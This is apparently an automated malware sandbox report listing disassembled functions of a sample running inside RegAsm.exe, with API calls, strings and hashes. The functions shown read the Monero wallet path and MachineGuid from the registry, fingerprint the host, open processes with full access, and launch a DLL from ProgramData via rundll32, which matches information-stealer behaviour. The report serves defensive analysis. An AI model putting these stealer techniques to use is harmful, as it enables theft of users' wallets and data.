Function 1FEC7D30 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 199fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE(?,00000000,00000000,00000000,?,00000000), ref: 1FEC7EAE
MapViewOfFile.KERNEL32(00000000,?,00000000,?,?), ref: 1FEC7EDD

Strings

winShmMap3, xrefs: 1FEC7F1D
winShmMap1, xrefs: 1FEC7DC5
winShmMap2, xrefs: 1FEC7E1F

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: File$CreateMappingView
String ID: winShmMap1$winShmMap2$winShmMap3
API String ID: 3452162329-3826999013
Opcode ID: 7b2f88dedfc2121ced758ee17207ddbf71da451288a970e2f0cf3697ecf2e0a0
Instruction ID: 68fedd03a4b00163c69ffefa4efe3a039b4b78a29bf42e29d726a29e3f22e2bb
Opcode Fuzzy Hash: 7b2f88dedfc2121ced758ee17207ddbf71da451288a970e2f0cf3697ecf2e0a0
Instruction Fuzzy Hash: 1B61EC715447819FE720DF25CD85B6BBBE5AF88708F01496CF9829B251EB34F804CB92

Function 00401A41 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A55
RtlAllocateHeap.NTDLL(00000000), ref: 00401A5C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AD9), ref: 00401A79
RegQueryValueExA.ADVAPI32(00401AD9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401A94

Strings

wallet_path, xrefs: 00401A8C
SOFTWARE\monero-project\monero-core, xrefs: 00401A6F

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 1425999871-4244082812
Opcode ID: 700b09c1c0e5afdc9c29303fd361cf623066babb0c68713ea5d591119a00d0a9
Instruction ID: 8fb90b737804dbadcfc52326946e4249d9c384084c244ce5a13ba0c0a93fe09a
Opcode Fuzzy Hash: 700b09c1c0e5afdc9c29303fd361cf623066babb0c68713ea5d591119a00d0a9
Instruction Fuzzy Hash: 21F05EB5B40204FFEB105B91DD0AF9B7FBDDB44B01F201075B706E61E1D6F45A048AA4

Function 00407F9E Relevance: 9.1, APIs: 6, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407FB9
GetFileSizeEx.KERNEL32(00000000,?), ref: 00407FD0
LocalAlloc.KERNEL32(00000040,?), ref: 00407FE7
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00407FFE
LocalFree.KERNEL32(?,?,?,00000000), ref: 0040801D
CloseHandle.KERNEL32(?), ref: 00408026

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 61bc7629c900fd658bb4f34c9534e69fffa3a332c20d60cd9504b0dc287d08fd
Instruction ID: dbfac88b35a87da592643faa924b4c74fc9600e0eda852789347fc33dd380c25
Opcode Fuzzy Hash: 61bc7629c900fd658bb4f34c9534e69fffa3a332c20d60cd9504b0dc287d08fd
Instruction Fuzzy Hash: 2A114CB0900104EBDF219F65DD48EAEBBB5EB84700F214569F841B22A0DBB59A45DB61

Function 004124C6 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

ShellExecuteEx.SHELL32(?), ref: 004126E8

Strings

"" , xrefs: 00412596
C:\ProgramData\, xrefs: 004124F9
C:\Windows\system32\rundll32.exe, xrefs: 00412647
.dll, xrefs: 00412551

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 3840f830df69d3a069a6efaae6ef468608713f4bb429e8653d6e3cf03407a960
Instruction ID: 393d2f1a1e55f3857c981bc583e798dc00d2fc93e3dcc541f1b3365ce9fb7e7e
Opcode Fuzzy Hash: 3840f830df69d3a069a6efaae6ef468608713f4bb429e8653d6e3cf03407a960
Instruction Fuzzy Hash: ED712F71D001199BCF10FFA6DD425CDB7B4AF44308F51042BFA14B31A2CBB96E8A8B98

Function 0040F9E5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 0040FA0A
OpenProcess.KERNEL32(001FFFFF,00000000), ref: 0040FA36
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FBCF

Strings

N0ZWFt, xrefs: 0040FB36

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenProcess
String ID: N0ZWFt
API String ID: 3743895883-431618156
Opcode ID: 41b3700ea0d9d3654d24e49bf88ca974e3be6cecac6199a2b701bb9f073e19c9
Instruction ID: 56628dd9a5475083c5654543ad38fdbb0d355e41ae3c6e5755e26658fa6b3116
Opcode Fuzzy Hash: 41b3700ea0d9d3654d24e49bf88ca974e3be6cecac6199a2b701bb9f073e19c9
Instruction Fuzzy Hash: 865185B1E002289FDB349F14DC85BDDB7B4AB44304F4444FBA209B3292D6796E888F5D

Function 1FEC55D0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 130fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000), ref: 1FEC55F6
DeleteFileW.KERNEL32(00000000), ref: 1FEC560C

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 1FEC56D1
winDelete, xrefs: 1FEC569C

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: File$AttributesDelete
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 2910425767-1405699761
Opcode ID: cac089d8e51666fbd8068660895d27ef8b46fefc6c50c2c4bd29ba221c2e0a7c
Instruction ID: 46e2a130defdbca8ee7f5d882289bd4cc63e5bd7c17fcd903d02d03d71a0b0e0
Opcode Fuzzy Hash: cac089d8e51666fbd8068660895d27ef8b46fefc6c50c2c4bd29ba221c2e0a7c
Instruction Fuzzy Hash: E9318E72E057019BF7002B78DF8C9DA7718A784269F010636F983C72A1EE29E854F7D1

Function 1FEC1410 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 130COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 1FEC14AC

Strings

winSeekFile, xrefs: 1FEC14CC
winTruncate2, xrefs: 1FEC150B
winTruncate1, xrefs: 1FEC14E2, 1FEC1519

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: FilePointer
String ID: winSeekFile$winTruncate1$winTruncate2
API String ID: 973152223-2471937615
Opcode ID: c354748a0b1ba0f2b1d7811f16a4d002db509e013b5b7a2f7c3022f1ad09572b
Instruction ID: e8cae74f707a1af7ef24f39d9ccec1d187d9cd5c5086fc8f68e73e3d9c1f8d22
Opcode Fuzzy Hash: c354748a0b1ba0f2b1d7811f16a4d002db509e013b5b7a2f7c3022f1ad09572b
Instruction Fuzzy Hash: DF41D6726087019FE310DF64DE4492F77E5FF88668F500B2DF95692650E739F9088BA2

Function 00415933 Relevance: 8.9, APIs: 7, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?), ref: 004159C2

Part of subcall function 00411C74: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411CB5

lstrcat.KERNEL32(?,00000000), ref: 004159DF
lstrcat.KERNEL32(?,?), ref: 004159FE
lstrcat.KERNEL32(?,?), ref: 00415A12
lstrcat.KERNEL32(?), ref: 00415A25
lstrcat.KERNEL32(?,?), ref: 00415A39
lstrcat.KERNEL32(?), ref: 00415A4C

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00411C4A: GetFileAttributesA.KERNEL32(?,?,?,0040A19C), ref: 00411C51

Part of subcall function 00415647: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 0041566C
Part of subcall function 00415647: RtlAllocateHeap.NTDLL(00000000), ref: 00415673
Part of subcall function 00415647: wsprintfA.USER32 ref: 0041568C
Part of subcall function 00415647: FindFirstFileA.KERNEL32(?,?), ref: 004156A3
Part of subcall function 00415647: StrCmpCA.SHLWAPI(?,00435A68), ref: 004156C4
Part of subcall function 00415647: StrCmpCA.SHLWAPI(?,00435A6C), ref: 004156DE
Part of subcall function 00415647: wsprintfA.USER32 ref: 00415705

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeapwsprintf$AllocateAttributesFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 3996283179-0
Opcode ID: 557034d06609e0960b945e3fad24017876bb49872dac966338509748b91776ab
Instruction ID: 95eb2be3499e2bfa7bfff7c68b80bfdc55e0aae1b7bb7ebc1175600d57b6fc6d
Opcode Fuzzy Hash: 557034d06609e0960b945e3fad24017876bb49872dac966338509748b91776ab
Instruction Fuzzy Hash: 8D51A7B1E0011C9BCB54DB65DC95AD9B7B9AB4C310F4404EAF609E3250EA74ABC98F98

Function 0041148C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?), ref: 004114DE
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,?), ref: 00411503
CharToOemA.USER32(?,?), ref: 00411523

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 004114D4
MachineGuid, xrefs: 004114F8

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValue
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 3174779972-1211650757
Opcode ID: 47f36a31e4d58de934082495ef726ab2b626f35d1a69edf1e6a948b904af5468
Instruction ID: d36964083a79b01df44ef75e00944e7df9ecd3de7269cc573f436b19d733d66f
Opcode Fuzzy Hash: 47f36a31e4d58de934082495ef726ab2b626f35d1a69edf1e6a948b904af5468
Instruction Fuzzy Hash: AB110CB590021CAFDB20DFA0DD89FEAB7BDAB18304F4041E5A619E2052D6749E888F54

Function 00410FD1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410FE9
RtlAllocateHeap.NTDLL(00000000), ref: 00410FF0
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 0041100C
wsprintfA.USER32 ref: 00411032

Strings

%d MB, xrefs: 0041102C

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 2922868504-2651807785
Opcode ID: ca3e85788baa7989726c2a1725769640a8948882f54aa2797629b485eb31e1c1
Instruction ID: c1cee463b414c5f0fc75c3b7df9572cfee12a3342fcaccd57385df19e7e9318b
Opcode Fuzzy Hash: ca3e85788baa7989726c2a1725769640a8948882f54aa2797629b485eb31e1c1
Instruction Fuzzy Hash: AE0186B1E00118EBDB04DFB9DD56EFEBBB9EF04700F10102AF606E3290DA7499818799

Function 004109E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004109FC
RtlAllocateHeap.NTDLL(00000000), ref: 00410A03
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,?), ref: 00410A31
RegQueryValueExA.KERNEL32(?,00000000,00000000,00000000,000000FF), ref: 00410A4D

Strings

Windows 11, xrefs: 00410A14

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

